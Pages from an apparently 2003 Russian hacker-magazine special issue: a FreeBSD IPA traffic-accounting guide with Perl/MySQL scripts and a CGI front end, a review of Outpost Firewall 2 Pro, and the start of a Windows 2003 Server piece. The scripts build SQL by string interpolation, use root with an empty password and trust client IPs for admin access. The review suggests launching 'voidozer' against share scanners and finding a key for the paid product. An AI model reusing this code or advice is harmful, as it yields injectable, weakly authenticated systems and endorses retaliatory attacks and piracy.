По умолчанию (как ты заметил) IPA в таблице выводят данные в байтах и мегабайтах, но данные в мегабайтах получаются делением данных в байтах не на 1000000, а на 1048576=1024*1024, что как-то немного бесит - легко исправляется, если еще указывать ключ -k. Пример 5: "ipastat -R gosha -i 2003.07.02 -k" - вывод по трафику для юзера Гоша за 2 июля, считаем, что мегабайт равен 1000 килобайтам.


Спецвыпуск Xakep, номер #033, стр. 033-058-6, КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-058-6

В любом случае читай маны к IPA, там все настолько четко и ясно объяснено, что просто душа радуется (стопудняк). Кроме умения пользоваться ipastat тебе обязательно надо понять принцип работы команды "ipa". Команда "ipa" полностью управляет самой системой; если ты в самом начале просто введешь "ipa", то загрузятся все правила, которые есть в секциях startup, кроме того, ipa подгрузит базу, и твоя система трафика начнет работать.

Если что-то пошло не так, запусти ipa c ключом t:"ipa -t" - проходит тест конфига (/usr/local/etc/ipa.conf).

Разумеется, ipa выловит только те ошибки, которые проходят на ее уровне, а если у тебя какое-то правило некорректно или синтаксически неверно построено, это пройдет незамеченно. Команда "ipa -k shutdown" - выполняет секцию shutdown для всех правил, включая global секцию; сохраняет последние значения в базе и убивает процесс ipa.

Команда "ipa -k dump" - обновляет последние значения в базе, но не создает новой записи. Чтобы все прогрузки правил четко фиксировались, добавь в файле /etc/syslog.conf строку:

!ipa

*.*<TAB>/var/log/ipa.log

И обязательно создай в директории "/var/log/" файл ipa.log (touch /var/log/ipa.log).

О ЧЕМ Я УМОЛЧАЛ

Во FreeBSD (начиная с версии 4.3) существует еще один файрволл - называется ipf. Работает во многих ситуациях быстрее, чем ipfw, и использует многие возможности, которых в ipfw просто нет (взять хотя бы redirect из внешней сети во внутреннюю). Пишу я все к тому, что многие продвинутые админы уже забацали свои сети на основе ipf и теперь не знают, чем считать трафик. Хочу успокоить вас - IPA умеет считать трафик не только через FreeBSD ipf, но и через OpenBSD pf (эти пакетные фильтры немного отличаются). К сожалению, готового конфиг-файла я вам не покажу (не буду же я тешить ваше уязвленное самолюбие и перестраивать собственную сеть). Если очень интересно, читай "man 5 ipa.conf". Кроме того, в данной статье совершенно не рассмотрен подход подсчета трафика на VPN. Написал я это не зря, так как дал вам (надеюсь), покорным неофитам, дополнительный повод для размышлений и шевеления мозгами.

http://www.opennet.ru/base/net/ipf_guide.txt.html

http://www.opennet.ru/docs/RUS/fwfaq/

http://openbsd.ipx.ru/

ЖИЗНЬ НЕ УДАЛАСЬ, НО ПОПЫТКУ ЗАСЧИТАЛИ

Ну, вот вроде и все. Обязательно прочитай ссылки на все, что я тебе дал. Там очень много ценной инфы (тем более, что все доки будут доступны на диске). Не поленись. А теперь переворачивай страницу, и мы попытаемся прикрепить к нашей консольной системе полноценный web-интерфейс.


Спецвыпуск Xakep, номер #033, стр. 033-062-1, ПЕРЕКУСИМ ПЕРЛОВКОЙ?

ПЕРЕКУСИМ ПЕРЛОВКОЙ?

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-062-1

Пишем скрипты для системы трафика во FreeBSD

Ну чего, разобрался с IPA? Теперь все пользователи у тебя под контролем? Но почему-то боссы недовольны... Им хочется, чтобы не только ты один контролировал систему учета, но и чтобы они без твоего вмешательства могли просмотреть, сколько у пользователей там капает. Да и сами юзера бунтуют немного - им кажется, что некто (наверное ты) накручивает трафик и выдает неверные данные. Что же... Разубедим их в этом!

ОТВЕТ ЕСТЬ ЭКВИВАЛЕНТ МЫСЛИ

Если не забыл, в предыдущей статье мы создали полноценную систему трафика, но узнать по ней данные мог только админ с доступом по ssh. Согласись, что далеко не каждому пользователю объяснишь, что такое ssh, как туда зайти - да и аспект безопасности остается, вдруг догадается что-нибудь изменить. Поэтому мы будем создавать friendly-user-interface. Самое простое (а в данном случае и правильное) решение - создать web-интерфейс. То есть у тебя в локалке работает web-сервер, который получает данные от системы трафика и уже раскладывает их в аккуратную табличку. Но каким образом веб-сервер получит эти данные? Придется использовать базу данных. Я не буду мутить воду и полностью представлю свою наработку. Моя система трафика (как я и хотел) состоит из маленьких кирпичиков, из которых уже складывается целое:

1. Работает ipfw. Он считает трафик (так как в нем заданы необходимые правила).

2. Вывод ipfw обрабатывает IPA. Это сделано для удобства. IPA является посредником между моим скриптом и ipfw. Плюсы в том, что они делают многие вещи, которые мне не нужно делать, - складывают/вычитают данные, имеют собственную базу, то есть даже если твоя база радикально упала - всегда есть резервная текстовая копия.

3. Вывод IPA обрабатывает скрипт ipastat.pl. Он заносит все данные в базу MySQL (можно выбирать любую другую - это личное дело каждого).

4. Выборку из базы делает скрипт mysql.cgi. Данные получаются в виде очень милой лаконичной таблицы.

Если с первыми двумя шагами все ясно (мы их рассмотрели в предыдущих двух статьях), то каким образом обрабатывать вывод IPA - непонятно. Я решил не делать выборку из его текстовой базы (она чересчур примитивна и сложна для работы) и обрабатывать вывод напрямую. Если мы запустим ipastat c ключом -n (ipastat -x -R . -n), то получим данные по всем пользователям без таблицы, и эти данные можно отлично обработать в Перле. Для каждого пользователя в IPA должно быть создано одно правило вида:

rule admin {

info = 192.168.6.200

ipfw = 190 195

startup {

exec = /sbin/ipfw add 190 allow ip from 192.168.6.200 to any via xl0

exec = /sbin/ipfw add 195 allow ip from any to 192.168.6.200 via xl1

exec = /sbin/ipfw add 197 allow ip from any to 192.168.6.200 via xl0

}

}

Обязательно задавать в поле info ip юзера, так как это поле заносится в базу и по нему происходит распознание имени.

Я надеюсь, тебе не надо объяснять, как админить mysql. Ниже привожу скрипт (ipastat.pl) с комментариями:

#!/usr/bin/perl -w

my ($mtime, $now, $nows, $user, $ip, $sum, @users, $mb, @ips, @mbs, $line, @sums, $users, $sums, $ips, $mbs, $query, $rule);


Спецвыпуск Xakep, номер #033, стр. 033-062-2, ПЕРЕКУСИМ ПЕРЛОВКОЙ?

ПЕРЕКУСИМ ПЕРЛОВКОЙ?

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-062-2

use strict;

use DBI;

## в переменную $mtime мы заносим текущее время

$mtime=`date +%H`;

chomp $mtime;

## это кусок кода проверяет, какое время, и "включает интернет" путем вызова ipa; согласись, если уже 9 вечера, то на фирме сотрудников нет, и инет никому не нужен, а в 9 утра мы как раз его включаем

if ($mtime == "09") {

system '/usr/local/bin/ipa';

}

elsif ($mtime == "21") {

system '/usr/local/bin/ipa -k shutdown';

}

## в базу падают последние данные

system '/usr/local/bin/ipa -k dump';

## получаем текущее время

$now = `date +%Y.%m.%d`;

$nows = $now;

chomp $now;

$nows =~s /\./-/g;

## получаем данные от ipa путем вызова ipastat с текущим выводом

open (FILE, "/usr/local/bin/ipastat -x -R . -i $now -n |") || die "Cannot ipastat -x -R $!\n";

## первая строка нам не нужна (удаляем ее)

$line=<FILE>;

## обрабатываем полученный вывод

while ($line=<FILE>) {

$line =~ s/\s+/ /;

chomp $line;

## разбиваем вывод на несколько переменных, из которых создаем массивы. В базе (которая состоит из одной таблицы) находятся имена пользователей, их ip-адреса (по ним происходит идентификация), сколько они выкачали в байтах, сколько они выкачали в мегабайтах.

my ($user, $ip, $sum) =split (/ /, $line);

## мегабайты получаются делением байт на 1048576=1024*1024 . Хотя может делить на 1000000

$mb=$sum/(1024*1024);

push @users, $user;

push @sums, $sum;

push @ips, $ip;

push @mbs, $mb;

}

## выполняем подключение к базе данных (traff2) с логином root и пустым паролем (нехорошо). Не забудь изменить.

my ($dsn) = "DBI:mysql:traff2";

my ($user_name) = "root";

my ($password) ="";

my ($dbh, $rows, $row);

my (@ary);

$dbh = DBI->connect ($dsn, $user_name, $password, {RaiseError => 1});

## кидаем полученные данные в базу

foreach $users (@users) {

$sums = shift (@sums);

$ips = shift (@ips);

$mbs = shift (@mbs);

## при каждом запуске мы проверяем, есть ли за такую дату и для такого пользователя данные, и если их нет, делаем insert, а если есть - update .

$query = "select count(*) from traffik where date='$nows' and name='$users'" or die;

$rule = $dbh->selectrow_array($query);

if ( $rule==0) {

## вся база состоит из одной таблицы (traffik), с нею мы и работаем

$rows = $dbh->prepare (qq { insert into traffik values (?,?,?,?,?)}) or die;

$rows->execute("$now", "$users", "$ips", "$sums", "$mbs");

} else {

$rows = $dbh->prepare (qq {update traffik set info ='$sums', mb='$mbs' where name='$users' and date='$nows'}) or die;

$rows->execute();

}

}

close FILE;

Разумеется, для того чтобы все работало, создай базу:

create database traff2;

и таблицу:

CREATE TABLE traffik (

date date default '0000-00-00',

name varchar(15) NOT NULL default '',

ip varchar(15) NOT NULL default '',

info int(15) NOT NULL default '0',

mb float(4,2) NOT NULL default '0.00'

) TYPE=MyISAM;

Отлично, база у нас есть. Теперь, для того чтобы делать из нее выборку, создадим web-интерфейс (mysql.cgi). Он будет представлять собой cgi приложение, написанное на Перле - текст слишком длинный, поэтому привожу отдельные части. Он разбит на две части - код для юзеров (непривилегированные) и для боссов с админом (привилегированные). Отличаются они тем, что боссы (или админ) могут выбирать пользователя и смотреть, какой у него трафик. Пользователь может смотреть только у себя (не пойми превратно). Все распознавание делается на уровне ip-адреса, то есть если ты админ и у тебя ip-адрес 192.168.6.200, то скрипт коннектится к базе, делает выборку за последнее число и говорит: "Да ты admin", и перенаправляет на код "для боссов". Все это делается в строках:


Спецвыпуск Xakep, номер #033, стр. 033-062-3, ПЕРЕКУСИМ ПЕРЛОВКОЙ?

ПЕРЕКУСИМ ПЕРЛОВКОЙ?

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-062-3

$sth = $dbh->prepare (qq {select name from traffik where ip='$ip' order by ip desc}) or die;

$sth->execute;

$name=$sth->fetchrow_array();

print "<div align=right><b><font color=red>[пользователь $name в системе]</font></div>";

А проверка на админа в самом начале:

"if ($name ne "admin")...", хотя это и так понятно в принципе.

Бацая скрипт, я использовал модули: CGI (входит в поставку Perl) - позволяет обращаться к интерфейсу CGI. Через CGI мы получаем ip пользователя:

my $ip=$ENV{REMOTE_ADDR};

через который уже узнаем его имя.

CGI::Carp - выводит сообщение об ошибке прямо в экран браузера. Очень удобно для отладки.

http://search.cpan.org/CPAN/authors/id/L/LD/LDS/CGI.pm-2.97.tar.gz

DBI - интерфейс для работы с базой, может еще потребоваться DBD::MySQL.

http://search.cpan.org/CPAN/authors/id/T/TI/TIMB/DBI-1.37.tar.gz

http://search.cpan.org/CPAN/authors/id/R/RU/RUDY/DBD-mysql-2.9002.tar.gz

Tie::IxHash (http://search.cpan.org/CPAN/authors/id/G/GS/GSAR/Tie-IxHash-1.21.tar.gz) сортирует ключи хэша (это требуется при выводе месяцев, так как они представляют собой хэш и требуется, чтобы февраль шел после января, ну и т.д.):

tie %month, "Tie::IxHash";

%month=('январь'=>"01",

'февраль'=>"02",

'март'=>"03",

'апрель'=>"04",

'май'=>"05",

'июнь'=>"06",

'июль'=>'07',

'август'=>'08',

'сентябрь'=>'09',

'октябрь'=>'10',

'ноябрь'=>'11',

'декабрь'=>'12'

);

Скачать все можно с http://search.cpan.org/. Установка стандартная:

perl Makefile.PL ;

make

make test

make install

Для того чтобы создать таблицу (с уже заполненными данными), я использовал такой нехитрый цикл.

while (@ary = $sth->fetchrow_array())

{

print "<TR>\n";

print ("<TD>", shift (@ary)) while @ary;

print "</TR>\n";

}

В массиве @ary уже есть данные, полученные отсюда:

$sth = $dbh->prepare (qq {select date, mb from traffik where name='$name' and date like '$year-$month-%'}) or die;

$sth->execute();

$ary=$sth->fetchrow_array();

Теперь ты все понял: с помощью скрипта ipastat.pl (а точнее - команды "ipastat -x -R . -n") мы обрабатываем вывод IPA, в результате чего создается (или обновляется) таблица traffik в базе traff2. Юзер заходит на веб-сервер, и благодаря инструкции "my $ip=$ENV{REMOTE_ADDR};" мы узнаем его ip -> ищем последнюю запись в базе по этому ip -> находим -> получаем его имя - и уже делаем выборку по его имени. Если сеть более глобальная и небезопасная, можно к апачу (на котором крутится mysql.cgi) прикрепить аутентификацию, но это уже твое личное дело.


Спецвыпуск Xakep, номер #033, стр. 033-062-4, ПЕРЕКУСИМ ПЕРЛОВКОЙ?

ПЕРЕКУСИМ ПЕРЛОВКОЙ?

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-062-4

ЭКИПАЖ ПРОЩАЕТСЯ С ВАМИ

Скрипты всегда ты можешь скачать/найти на cd-rom, который прилагается к журналу. Файл называется trafik.zip. В этом архиве рабочий ipa.conf, sql скрипт для создания таблицы, ipastat.pl и mysql.cgi. Если будут траблы или просто добрые пожелания - пиши на arkhangel@mail.ru. Все пушистики, админские бонусы и горшочки с медом слать туда же... Cнюхаемся стопудняк!!!


Спецвыпуск Xakep, номер #033, стр. 033-064-1, Приход OutPost 2 Pro

Приход OutPost 2 Pro

Alex Shark

Спецвыпуск Xakep, номер #033, стр. 033-064-1

(qqqqqwww@e-mail.ru)

Если ты пользуешься сетью как положено и пытаешься выжать из нее максимум, а не то, что дозволено, то Firewall тебе нужен как воздух, пиво и комп.

Вот и вышла новая версия известного файрвольчика. Брать данную прелесть, как всегда, на www.agnitum.com, за скачивание денег не берут, но работать будет только первый месяц. Далее, как всегда, для себя ищем ключик, для фирмы выбиваем бабки. Изменился дизайн, кнопочки стали более XP-подобными. Все что может двигаться, двигается плавно. Не забыт и русский интерфейс, благодаря которому большинство пользователей быстрее настроит прогу под себя. Стоит сейчас прога 40 вечнозеленых, если для себя, и 1000, если тебе надо на сетку пользователей. Если будешь ставить на солидную фирму, то лучше выбить немного денег, дабы потом спать спокойней.

Сам по себе файр нужен практически всем, кто работает с сетью, а не просто так вышел пописать. Отмазки типа "да нас никто не ломает" или "да кому нужен мой сервачок" не прокатят. Рано или поздно наступит момент, за который можно просто лишиться работы.

Новые настройки

Начнем с установки. Если у тебя win2k или XP, а я надеюсь, что ты уже переполз на солидную систему, то смело выставляй "грузить как сервайс". Во второй версии эта фича реально работает и подгружает файр еще до логина, что очень полезно при пользовании его на серваке. Тут же Outpost попробует настроить стандартные проги и прописать для них правила. В эти проги попадут не только IE и ICQ, он отлично отлавливает Bat, FAR и прочую кучу приятной мелочи. После установки перегрузи тачку, иначе ничего работать не станет. Если решил апгрейдить первую версию, то лучше сначала снести ее, настройки все равно не перекочуют. После ребута прога должна загрузиться автоматом и начать спрашивать настройки для активных прог.

Прежде всего настрой плагины. Как для дома, так и для офисного сервера советую оставить DNS, Attack detection и Advertisement Blocking. Если есть желание порезать порнушку для сетевых юзверей, врубай еще и Content Filtering. Настройки для плагинов остались теми же, что были в версии 1.0.

Далее настраивай "Общие" параметры файрволла, тут есть несколько вариантов загрузки. Обычный, это когда он грузится как раньше, после входа пользователя. Фоновый режим - это значит грузиться до входа пользователя в виде сервайса и не подгружать управляющую часть (тот самый значок в трее). При этом режиме все, что ты настроил, продолжает работать, только никому это не видно. Не загружать, оно и в Африке... Режим в принципе бесполезен, так как можно просто поставить "бездействие". Может помочь, если у тебя возникли коллизии с другим файром или просто полезли глюки. Защита паролем необходима, если не ты один можешь шариться по серверу, но порнуху резать должен именно ты.

Далее идут настройки реакции на различные проги. Тут тоже появилось несколько положительных дополнений. Например, в правилах есть возможность не только разрешить, блокировать или отклонить данные. Теперь можно подключить "динамическую фильтрацию", то есть контроль не на пакетном уровне, а на уровне сессии. Можно заблокировать и написать тебе кляузу или разрешить и написать кляузу. То есть еще один плюс в роли большого брата для сети. Удобно добавить сюда delit.ru, rmp.ru и смотреть, кто это у нас самый музыкальный. Ну и, наконец, моя любимая опция "Запустить приложение". Тут уж на что твоей совести хватит. Например, можно запускать voidozer и ему подобные препараты, дабы отучать сканировать шары. Можно запустить winamp и звук сирены в серверной. Можно просто запускать дополнительный логер, в общем - решай, что тебе нужно. Запрещенные и разрешенные группы ничем не отличаются от предыдущей версии. В закладке "системные" появилась реальная фича "Настройка сети". Тут ты можешь разрешить NetBIOS для свой локалки и, соответственно, запретить его всем остальным. Тут же можешь выставить флажок "доверенные", что значит - "им можно все". Опция полезна при установке VMWare и ей подобных прог. Чтобы не париться с настройкой, просто занеси свою сеть-виртуалку в доверенные. Параметры ICMP, как всегда, радуют глаз, можно настроить так, что тебя никто не видит, а ты спокойно пингуешь все и вся. Режим невидимости остался на прежнем уровне. Появилась еще одна полезная фича, "Общие правила". Тут ты можешь назначить разрешенный или запрещенный порт/сервер, и это правило станет общим для всех программ. Крайне полезно использовать, сидя за проксиком. Можно разрешить коннект на порт 8080 для всех прог и больше не париться, рассказывая Аутпосту про каждую отдельно. Вкладка политики осталась функционально не измененной, изменились только дизайн и очередность кнопочек. После тотальной настройки можно ткнуть в "Мой Интернет", там есть отличная ссылка "Пройти on-line тест". Тебя отсканируют по самые помидоры. Если ты сидишь дома и все настроил правильно, сканер должен вообще усомниться в существовании такого компьютера. Если ты настраиваешь файрволл на серваке с выходом в и-нет, то подробно посмотри ответ. Не забывай, что IIS (если этот кошмар у тебя присутствует) должен уметь только "принимать" и только по 80 порту. Тогда, даже в случае взлома, от тебя трудно будет получить шелл. То же самое со всеми серверами, которые развернуты мордой в и-нет. Помни, что неломаемых серверов нет. Если настраиваешь корпоративный сервак, то дважды, а лучше трижды подумай, прежде чем перенести прогу в разряд "можно все". Лучше помучиться с правилами, но настроить их как надо. В идеале в разделе "можно все" программы находятся лишь временно и недолго. Если трудно с настройкой, создай аналогичное правило и повесь на него "дать отчет". Так ты сможешь более детально изучить деятельность твоей проги и найти закономерности ее работы.


Спецвыпуск Xakep, номер #033, стр. 033-064-2, Приход OutPost 2 Pro

Приход OutPost 2 Pro

Alex Shark

Спецвыпуск Xakep, номер #033, стр. 033-064-2

Новости кода

Теперь давай глянем на "new" функции. Первая же фича, "Anti-Leak", оказалась на практике очень работоспособной. Если раньше через неделю работы сервака в памяти OutPost начинал отжирать по 100-200 метров, то теперь он смотрит не только за своими "хвостами", но также предотвращает "неправильно" завершенные соединения и рубит на корню неправильно начатые. То есть, если ты попробуешь послать первый пакет TCP с установленным RST флагом, то соединение будет просто убито. То же самое происходит при таймауте. То есть, если ты нажал reset, а проксик забыл об этом предупредить. Каким бы кривым ни был код проксика, OutPost срежет это соединение и освободит память. Далее идет "Stateful Inspection", это та самая "динамическая фильтрация": раньше OutPost обращал свое внимание на пакеты и, пропуская их через себя, фильтровал все, что в них летит, только по заранее оговоренным правилам. Теперь, если у тебя стоит FTP сервер, то файрволл посмотрит, какой порт полетел в команде "PORT", и разрешит соединение только на этот порт. Если ты не посылал пинга, то он не пропустит и ответ. В общем, Outpost смотрит на условия до сессии и в зависимости от них использует правила после.

Далее идет описание супер-пупер boot-up protection, реальной пользы на домашней тачке от нее я не заметил. Поставил себе BO2K, загрузился, зашел в Винду, выскочило окошко типа "тут чувак слушает че-то". До этого коннекта с БякОрифисом не было. В принципе, раньше происходило то же самое, с той лишь разницей, что пользователь должен был быть залогинен, иначе творилась полная анархия. Зато теперь оставлять файр в режиме "обучения" на серваке я крайне не советую. После логона он задолбит тебя окошками недельной давности, если какой-нибудь чудик решит тебя сканировать.

Далее в новшествах система логирования на принципах базы данных. Если быть точным, это стандартный Access-овский mdb файл. При желании можешь написать свою читалку логов. Но плюс это или минус - решать тебе, позже я расскажу, почему. Далее почему-то в качестве нового фигурирует "Banner-ad blocking", хотя эта функция так и осталась без малейшего изменения. Единственное, что добавили разработчики, это кнопка "включить корзину" в панели IE, и немного расширили базу с запрещенными строками. Далее нам рассказывают, что теперь все установить и настроить стало проще и легче. Но на деле это оказывает мало помощи опытным пользователям, хотя и добавляет удобства новичкам. Далее идет функция "Internet connection sharing", которая не поддерживалась официально в 1-й free версии, но при этом нормально работала. В Pro версии о работоспособности заявили официально. Стандартные настройки для ICQ по-прежнему остались на уровне "качай баннеры, шли почту", что лично меня не радует. Поэтому после установки настоятельно рекомендую пройтись по всем "predefined" правилам со скальпелем и отрезать все лишнее.


Спецвыпуск Xakep, номер #033, стр. 033-064-3, Приход OutPost 2 Pro

Приход OutPost 2 Pro

Alex Shark

Спецвыпуск Xakep, номер #033, стр. 033-064-3

Прикладная журналистика

Для корректного слежения за тем, что творилось на машине, теперь существует журнал. Попасть в журнал можно прямо из файрволла. Если выбрать "Разрешенные", "Заблокированные" или любой плуг, появится кнопочка "Показать журнал". Сам журнал является отдельной программой, что позволяет запускать его без запуска файрволла. То есть на сервере, чтобы посмотреть любителей порно, теперь достаточно запустить журнал. В журнале можно по дереву выбрать любой плуг, даже если он остановлен. Тут же можно выбрать несколько стандартных фильтров, например - "Последние 10 атак". В журнале также отражаются общие изменения, такие как остановка файрволла, запись и чтение конфигурации (и полный путь, где хранится файл). Все это можно посмотреть во вкладке "Журнал системы". Очень помогает при неизвестной перезагрузке компа. Можно посмотреть, что предшествовало перезагрузке (сканирование или долбеж одного порта). Зайдя в историю, можно посмотреть, кто и куда ходил и почему ему, собственно, было позволено это сделать. Тут можно делать различные сортировки и устанавливать фильтры. С сортировкой все нормально, достаточно кликнуть по заголовку той колонки, по параметру которой ты хочешь отсортировать. С фильтрами все немного более наворочено. Например, можно отсортировать по продолжительности, при этом время задать не точно, а "примерно". В случае "примерно 5 минут" попали все соединения от 7 минут и меньше. Допускаются также двойные фильтры. Например, где локальный адрес 10.10.10.10 и приложение emule.exe. При фильтрации по приложениям на выбор тебе дадут все приложения, которые засветились в логе. Если ты один раз выбрал и настроил фильтр, он появится в дереве. Так можно настроить фильтр для "Сегодня" или "Вчера" и потом всегда ими пользоваться. Можно не мучиться с настройками фильтра, а просто ткнуть в понравившуюся надпись и сказать "оставить выбранное" или "исключить выбранное". Под понятие "выбранное" подпадает конкретная ячейка, в которую ты ткнул мышой. Данный фильтр не сохраняется как дополнительный, поэтому после того как ты перейдешь в другую ветку, смотрелка лога просто забудет, что ты ее просил сделать. Однако кнопка "Обновить" не сбивает настройки. Для каждого плагина есть свои фильтры. Для обреза рекламы есть фильтр по умолчанию "наиболее часто блокируемые", но можно добавить свои. Для этого надо выбрать в дереве сам фильтр и затем кликнуть "Добавить фильтр". Для рекламы ты уже не увидишь привычные "исходящий порт" и "локальный адрес". Тут уже есть категории "Действие", по которому будет ясно, что было блокировано, графика, сам запрос рекламы или просто параметры блокировки были найдены в таблице ссылок и размеров. В журнале DNS можно посмотреть последние записи. Это последние посещаемые сайты, на которые до этого никто не ходил. Если на плагине никакие дополнительные фильтры добавить не дают, значит или там нет записей, или данный плагин вообще выключен. Ну и самый интересный плагин, "Детектор атак". Тут можно много чего посмотреть. Например, можно сделать фильтр для отлова Voidozer. Для этого достаточно в фильтре указать действие "Фрагментированный IGMP". Тут же можно посмотреть на сканирование портов, кто и как часто пытается его проделать. Из журнала можно "Экспортировать" данные. При этом создается обычный текстовый файл с разделителем табуляцией. Такой файл очень удобно импортировать в Excel для последующей обработки и распечатки. Также удобно делать экспорт с последующей очисткой журнала, дабы не засорять его старыми записями. Своеобразный ручной бэкап. Наиболее используемые фильтры можно добавить в избранное, чтобы в будущем быстрее находить интересующие записи. Из журнала можно также легко перейти в OutPost. Для этого достаточно нажать F7 или выбрать "показать Outpost" в меню "Вид". Журнал сам по себе не обновляется, для обновления надо нажать "Обновить" или стандартное F5. Само появление журнала должно сильно обрадовать всех админов. Ведь раньше, если машина ребутнулась, то это значило, что логов файрволла можно больше и не найти. Теперь все это будет лежать аккуратной кучкой на винте.


Спецвыпуск Xakep, номер #033, стр. 033-064-4, Приход OutPost 2 Pro

Приход OutPost 2 Pro

Alex Shark

Спецвыпуск Xakep, номер #033, стр. 033-064-4

Реальные плюсы от апгрейда

Теперь давай разберемся, надо оно тебе или нет. Новый файрволл не грузит память вне зависимости от того, сколько времени подряд не было ребута, что для Windows-программ несравненный плюс. Это особенно хорошо чувствуется при установке на сервере. Если раньше ребут раз в три дня был как с добрым утром, то теперь раз в неделю, и то редкость. Не надо лочить сервак под пользователем, что для админов просто спасение. Все грузится автоматом и поднимается с момента старта Виндов. Улучшен отлов баннеров благодаря большему числу предустановленных размеров и строк, а следовательно, не надо ловить каждый баннер и тащить его в корзину. Видимо, авторы провели социологический опрос среди пользователей версии 1.0 и немного расширили базу. А может быть, посадили какого-нибудь несчастного лазить по и-нету и искать все баннеры, кнопочки и счетчики. Жирный плюс от "доверенных" сетей, нет больше геморроя с локалками и виртуальными тачками. Для быстроты можно настроить свою машину на сервере как доверенную и подключаться как хочешь, в то время как юзеры будут довольствоваться тремя портами. Не стоит забывать про "общие правила", особенно хорошо настраивать правило для проксика, если ставить OutPost на своем компе в сети. Также удобно настраивается контроллер домена - если удаленный адрес 10.10.10.10, то разрешить. И, само собой, толковый лог событий. Для домашнего использования плюсов меньше - меньшее количество глюков и более простая и удобная настройка. При использовании на проксике или прямо перед ним плюсов значительно больше, скорее всего данная версия рассчитана больше на админов локальных сетей.

Забытые хорошие фичи

Однако не все так гладко. Например, жутко не понравилось, что теперь, чтобы посмотреть, работает новое правило или нет, необходимо лезть в журнал. А если файрволл стоит уже несколько дней, одна только загрузка журнала - это добрые 1-2 минуты. Также был изменен элемент для отображения сетевых подключений и открытых портов. Если раньше можно было, как и в журнале, кликнув по заголовку, отсортировать по той колонке, которая больше нравится, то теперь заголовок просто функционально не активен. Хотя группировка еще работает, и ее можно хоть как-то использовать. Однако посмотреть, кто из приложений у нас самый наглый и жрет по скорости больше всех, теперь не получится. То же самое со всеми плагинами. В плагине "Детектор атак" теперь можно посмотреть только самое последнее соединение, а не последние 5-10. В плагине "Реклама" и того хуже. Видно только, сколько было заблокировано, а кто пытался скачать баннер, откуда, почему запретили - за всей этой инфой надо лезть в журнал. Также не совсем понятно: если журнал и файрволл это две отдельных проги, то почему я не могу со своей машины и пользователем с правами доменного админа посмотреть журнал на сервере. Версия стала во многом лучше, но потеряла несколько очень удобных фич.

Новая версия, новые глюки

При неправильном выходе из мастдая с последующим запуском журнала может появиться окошко, что журнал испорчен и его надо восстановить. Восстановление можно запустить из меню "Файл", только оно не запустится. Оно отметится как "обязательное к выполнению". Тут же можно выбрать "Удалить базу и создать новую" и посмотреть, как же зовется файл. При следующем запуске файл будет благополучно грохнут, и на его месте появится новенький. Только вот пароль для этого спрашивать никто не будет. Все пройдет на автопилоте. Для админа это достаточно большой минус. Тем более, что запустить журнал можно всем, и пароль на настройки тут не поможет. Не иметь программы журнала на сервере нельзя, так как удаленная работа с журналом не поддерживается. Если не считать этого и еще пары мелких глюков, софтина все-таки выросла в полноценный серверный файрволл. А это со всех сторон очень хорошо.


Спецвыпуск Xakep, номер #033, стр. 033-068-1, Новое - это хорошо забытое старое

Новое - это хорошо забытое старое

Mr. False

Спецвыпуск Xakep, номер #033, стр. 033-068-1

(mr_false@deeptown.org)

Трогаем своими ручищами Windows 2003 Server

Здоровеньки булы, дорогой первоклассник! Как ты уже знаешь, славная малоизвестная корпорация Микрософт частенько радует нас новыми продуктами, которые вновь и вновь расширяют границы нашего понимания реальности. Вот буквально совсем недавно они великодушно обрадовали нас своим новым детищем, которое мы теперь можем потрогать и помять с удовольствием. Или без...

Пюхлый дядя с пузырьками...

Итак, чего они приготовили нам на сей раз? А ничего принципиально нового. Добротная серверная ось Windows 2003 Server, заботливо разделенная на несколько редакций, ориентированных на юзверей с различными потребностями и возможностями. В данном случае нам будет интересна только Standard Edition, ибо именно она предназначена для простых смертных. Остальные принципиально ничем не отличаются, лишь некоторыми полезными и бесполезными фифочками с бирюльками. Enterprise - навороченная бодяга для многопроцессорных систем и, соответственно, для крупного бизнеса. Я сильно сомневаюсь в том, что ты админ в крупной конторе, иначе бы ты сие безобразие не читал =). Web - рассчитана на веб-сервера, со всеми вытекающими отсюда последствиями. Datacenter - самая навороченная ботва (товарищи мягко-мелкие много и увлеченно кидают пальцы на тему того, что это наикрутейшая на текущий момент ось из всех, созданных человечеством), которая у тебя дома вряд ли пойдет (имея 8 процессоров в минимальных системных требованиях). Стандартная редакция, которую взялись потрогать мы, как утверждается, запросто пойдет на 133-м пне со 128 метрами оперативы, а на 400-м будет летать вполне (что она, кстати, и делает у меня дома на серванте).

Процесс установки описывать несколько бессмысленно, ибо он ничем не отличается от стандартного NTевого инсталлятора; если ты ставил NT4, W2000 или XP, а ты это делал почти наверняка, то никаких вопросов возникнуть не должно. Отжирает эта бестия около полутора гигов на винте, такой объем нынче наскрести не сложно, поэтому наезжать шибко на Микросовт не будем, хотя и подозревая про горы мусора и всяких бесполезных финтифлюшек в составе оськи. Пущай дети тешатся, нам не тоскливо от этого ничуть. Будем считать, что ты заинсталлил ось без особых проблем. Теперь давай посмотрим, что от нас спрятали внутри...

Deleted Administration

При наличии только одного монитора, клавы и мыши несколько неудобно встает проблема администрирования серванта. Это получается, что каждый раз я должен отключать все это барахло от основного рабочего компа и подключать к серванту, что нисколько не скрашивает серые будни. И тут полезной фишкой, как ни странно, оказалась поддержка удаленного рабочего стола, упростив задачу удаленного администрирования донельзя, еще и превратив мой домашний сервант в полноценную многопользовательскую рабочую машинку =).

Role manager

Еще одной приятной, но лишь на первый взгляд не шибко полезной, а более украшательской фишкой является Server Role Manager, который всплывает при каждом запуске, если только не поставлена галочка в левом нижнем углу окна, свидетельствующая об обратном.


Спецвыпуск Xakep, номер #033, стр. 033-068-2, Новое - это хорошо забытое старое

Новое - это хорошо забытое старое

Mr. False

Спецвыпуск Xakep, номер #033, стр. 033-068-2

